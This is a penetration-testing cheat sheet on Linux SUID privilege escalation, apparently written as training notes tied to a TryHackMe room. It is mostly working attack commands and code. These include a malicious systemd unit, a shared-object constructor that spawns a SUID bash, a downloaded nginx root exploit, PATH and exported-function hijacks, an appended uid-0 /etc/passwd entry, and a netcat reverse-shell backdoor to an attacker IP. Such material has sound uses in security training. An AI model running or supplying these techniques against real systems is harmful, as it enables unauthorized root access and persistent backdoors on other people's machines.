SUID

find / -perm -u=s -type f 2>/dev/null

Enumeration

Search for SUID files:

find / -perm -u=s -type f 2>/dev/null

Method 1: GTFOBins

Search for SUID payloads:

For example, if /bin/systemctl is a SUID binary, use the following method to achieve arbitrary file read:

$ TF=$(mktemp).service
$ echo '[Service]
Type=oneshot
ExecStart=/bin/sh -c "cat /root/root.txt > /tmp/output"
[Install]
WantedBy=multi-user.target' > $TF
$ /bin/systemctl link $TF
$ /bin/systemctl enable --now $TF

Method 2: Shared Object Injection

Suppose /usr/local/bin/suid-so is a SUID binary that calls an non-existent shared object. Use strace to examine the system calls that this binary executes:

strace /usr/local/bin/suid-so 2>&1 | grep -i -E "open|access|no such file"

From the output, notice that a .so file is not present in the target system and this path is from a writable directory:

The idea is to generate a privesc payload with the path /home/user/.config/libcalc.so. Save the following C code as libcalc.c:

libcalc.c
#include <stdio.h>
#include <stdlib.h>

static void inject() __attribute__((constructor));

void inject() {
    system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}

Compile this source code to a shared object:

gcc -shared -o /home/user/.config/libcalc.so -fPIC /home/user/.config/libcalc.c

Execute the SUID binary in order to trigger the exploit:

/usr/local/bin/suid-so

And we will get a root shell.

Binary Symlinks is a Nginx vulnerability that abuses Nginx log permissions. If the attack succeeds, it will escalate the user privilege from www-data to root. The downside is that we have to wait until 6:25am in real life for this exploit to be triggered.

Enumerate Nginx version:

dpkg -l | grep nginx

If this version of Nginx is vulnerable, download the exploit script:

wget https://raw.githubusercontent.com/ret2basic/Pentest-Exploit-Lookup/main/Nginx/nginxed-root.sh

Run the exploit:

./nginxed-root.sh /var/log/nginx/error.log

This exploit will be triggered at 6:25am by default.

Method 4: Environmental Variables

Case 1: SUID binary calls relative path instead of absolute path

Suppose /usr/local/bin/suid-env is a SUID binary that executes service apache2 start. Strings it:

Note that service apache2 start is called using relative path. The idea is to forge a malicious service binary in a writable directory and add that directory to the beginning of the $PATH variable. When this SUID binary executes service apache2 start, it will execute the malicious service binary instead of the legit /usr/sbin/service.

In /tmp, create a malicious C source file:

echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /tmp/service.c

Compile it:

gcc /tmp/service.c -o /tmp/service

Add /tmp to the beginning of the $PATH variable:

export PATH=/tmp:$PATH

Execute the SUID binary:

/usr/local/bin/suid-env

Now we get a root shell.

The mitigation is use absolute path in the binary, for example, /usr/sbin/service apache2 start.

Case 2: SUID binary calls absolute path but still not good enough

Suppose /usr/local/bin/suid-env2 is a SUID binary that executes /usr/sbin/service apache2 start. Strings it:

Although this SUID binary calls the absolute path correctly, we are still able to spawn a root shell from it.

Define a shell function containing privesc payload:

function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }

Export /usr/sbin/service as environmental variable. Here -f means "refer to shell functions":

export -f /usr/sbin/service

Execute the SUID binary:

/usr/local/bin/suid-env2

Now we get a root shell.

Method 5: Text Editors (Nano, Vim, etc)

Suppose /bin/nano is SUID, then we can add a root user to the victim system. The idea is to add a new user with appropriate permissions and valid password hash to the /etc/password file.

Generate a valid hash of the password "pom":

perl -e 'print crypt("pom", "pom"), "\n"'

The generated password hash is poD7u2nSiBSLk. Open /etc/passwd using Nano:

nano /etc/passwd

Append the following entry to /etc/passwd:

pom:poD7u2nSiBSLk:0:0:root:/root:/bin/bash

Now we can switch to the pom user who has root permissions:

su pom
# password = pom

Method 6: Netcat Backdoor

One way to implant a backdoor to the victim machine is making /bin/nc SUID. Then we can catch a root reverse shell by executing the following command on the victim machine:

nc -e /bin/bash <attacker_ip> 443

Challenge: TryHackMe - Vulnversity

Last updated